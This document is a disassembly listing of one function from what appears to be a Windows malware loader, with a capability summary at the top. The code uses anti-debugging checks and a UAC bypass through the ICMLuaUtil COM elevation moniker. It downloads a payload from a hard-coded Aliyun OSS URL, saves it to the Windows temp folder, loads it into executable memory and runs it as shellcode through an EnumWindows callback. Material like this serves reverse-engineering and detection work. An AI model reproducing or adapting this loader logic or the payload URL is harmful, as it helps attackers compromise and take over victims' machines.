Function at 0x403a60
Capabilities:
Allocate or change rwx memory
Bypass uac via icmluautil
Check for outputdebugstring error
Check for peb beingdebugged flag
Create http request
Create process on windows
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get token membership
Print debug messages
Read data from internet
Read file on windows
Receive data
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x87c
mov eax, dword [0x5e9e34]
xor eax, esp
mov dword [esp + 0x878], eax
push ebx
push esi
push edi
push 0
call fcn.0055f242
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 4
test edx, edx
jg 0x403aa1
jl 0x403a9a
cmp eax, 0x61157460
jae 0x403aa1
mov edx, 0x5c7a68
jmp 0x403aae
push 0x13
call esi
test eax, eax
jne 0x403b10
mov edx, 0x5c7a6c
call fcn.00404160
push eax
call fcn.00404410
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call fcn.0055f242
add esp, 4
test edx, edx
jg 0x403ae6
jl 0x403adf
cmp eax, 0x61157460
jae 0x403ae6
mov edx, 0x5c7a68
jmp 0x403af3
push 0x13
call esi
test eax, eax
jne 0x403b10
mov edx, 0x5c7a6c
call fcn.00404160
push eax
call fcn.00404410
add esp, 4
call edi
push eax
call ebx
cmp eax, 0xffffffff
jne 0x403ac8
jmp 0x403f8c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x38d
call ebx
mov byte [esp + 0x12], 0
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [esp + 0x12], al
push 0x5c7a70
push str.wps.txt
call fcn.0055f361
add esp, 8
mov edi, eax
mov esi, 0x1869f
push 0
call fcn.0055f242
add esp, 4
push eax
call fcn.0055ef53
add esp, 4
call fcn.0055ef32
push edi
push 1
mov byte [esp + 0x5d], al
lea eax, [esp + 0x5c]
push 0x19
push eax
call fcn.0055f63d
add esp, 0x10
sub esi, 1
jne 0x403b48
push edi
call fcn.0055f79c
add esp, 4
push 1
push esi
push esi
push str.wps.txt
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x384
call ebx
push 0x3039
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.Test_for_debugger_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push 0x320
call ebx
mov byte [esp + 0x13], 0
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [esp + 0x13], al
push 0x104
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edi, edi
mov dword [esp + 0x28], 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], edi
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push 0x220
push 0x20
push 2
lea eax, [esp + 0x48]
mov dword [esp + 0x48], edi
push eax
mov word [esp + 0x50], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x403c3c
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push edi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x403c40
call esi
mov edi, eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x403c57
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [esp + 0x1c], 0
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x12c
call ebx
cmp dword [esp + 0x28], 0
jne 0x403d7b
call fcn.00403510
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x18], 0
mov edx, 0x24
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x403c94
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x5c7950]
lea edi, [esp + 0x70]
mov dword [esp + 0x30], 0x24
add edi, 0xfffffffe
movups xmmword [esp + 0x70], xmm0
mov dword [esp + 0x44], 4
movups xmm0, xmmword [0x5c7928]
mov word [esp + 0xa8], ax
movups xmmword [esp + 0x80], xmm0
movups xmm0, xmmword [0x5c7938]
movups xmmword [esp + 0x90], xmm0
movq xmm0, qword [0x5c7948]
movq qword [esp + 0xa0], xmm0
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403d00
mov ecx, 0x13
lea eax, [esp + 0x18]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x5c7d74
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x7c]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [esp + 0x18]
test eax, eax
jne 0x403d58
test esi, esi
je 0x403d64
mov eax, dword [esi]
lea ecx, [esp + 0x278]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
test esi, esi
je 0x403d64
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [esp + 0x14], 0
jne 0x403d71
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x320
jmp 0x403f8a
push 0x12c
call ebx
push 0x1e
call ebx
push 0x12c
call ebx
push 0
push 0
push 0
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x403dbf
push 0x12c
call ebx
push str.Failed_to_initialize_WinINet_library_n
call fcn.00404ee0
add esp, 4
jmp 0x403f8c
push 0x3039
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.Test_for_debugger_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call esi
push 0
push 0x84000100
push 0
push 0
push str.https:__wwwyunshuiyun5.oss_cn_hongkong.aliyuncs.com_yusb05_5.bin
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x12c
mov esi, eax
call ebx
test esi, esi
jne 0x403e19
push str.https:__wwwyunshuiyun5.oss_cn_hongkong.aliyuncs.com_yusb05_5.bin
push str.Failed_to_open_URL__s_n
call fcn.00404ee0
add esp, 8
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x403f8c
push 0x5c7b38
push str.C:windows_tempClient1.bin
call fcn.0055f361
add esp, 8
mov dword [esp + 0x18], eax
push 0x12c
call ebx
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x2c]
push eax
push 0x400
lea eax, [esp + 0x488]
push eax
push esi
call edi
test eax, eax
je 0x403e9b
mov ebx, dword [esp + 0x18]
nop dword [eax]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x403e95
push ebx
push eax
lea eax, [esp + 0x488]
push 1
push eax
call fcn.0055f63d
add esp, 0x10
lea eax, [esp + 0x2c]
push eax
push 0x400
lea eax, [esp + 0x488]
push eax
push esi
call edi
test eax, eax
jne 0x403e60
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x18]
call fcn.0055f79c
add esp, 4
push 0x12c
call ebx
push 0x12c
call ebx
push 0x12c
call ebx
push 0x12c
call ebx
push 0x5c7b3c
push str.C:windows_tempClient1.bin
call fcn.0055f361
add esp, 8
mov esi, eax
push 0x12c
call ebx
push 2
push 0
push esi
call fcn.0055fc81
add esp, 0xc
push esi
call fcn.005603a5
add esp, 4
mov edi, eax
push 0x12c
call ebx
push 0
push 0
push esi
call fcn.0055fc81
add esp, 0xc
push edi
call fcn.0055efd4
add esp, 4
mov dword [esp + 0x18], eax
push 0x12c
call ebx
push esi
push 1
push edi
push dword [esp + 0x24]
call fcn.005605ae
add esp, 0x10
push 0x12c
call ebx
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1e
mov esi, eax
call ebx
test edi, edi
je 0x403f78
test esi, esi
jne 0x403f65
call fcn.0055eec8
mov dword [eax], 0x16
call fcn.0055edca
jmp 0x403f78
mov eax, dword [esp + 0x18]
test eax, eax
je 0x403f53
push edi
push eax
push esi
call fcn.00556f60
add esp, 0xc
push 0x1e
call ebx
push 0
push esi
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x12c
call ebx
mov ecx, dword [esp + 0x884]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00552a91
mov esp, ebp
pop ebp
ret 0x10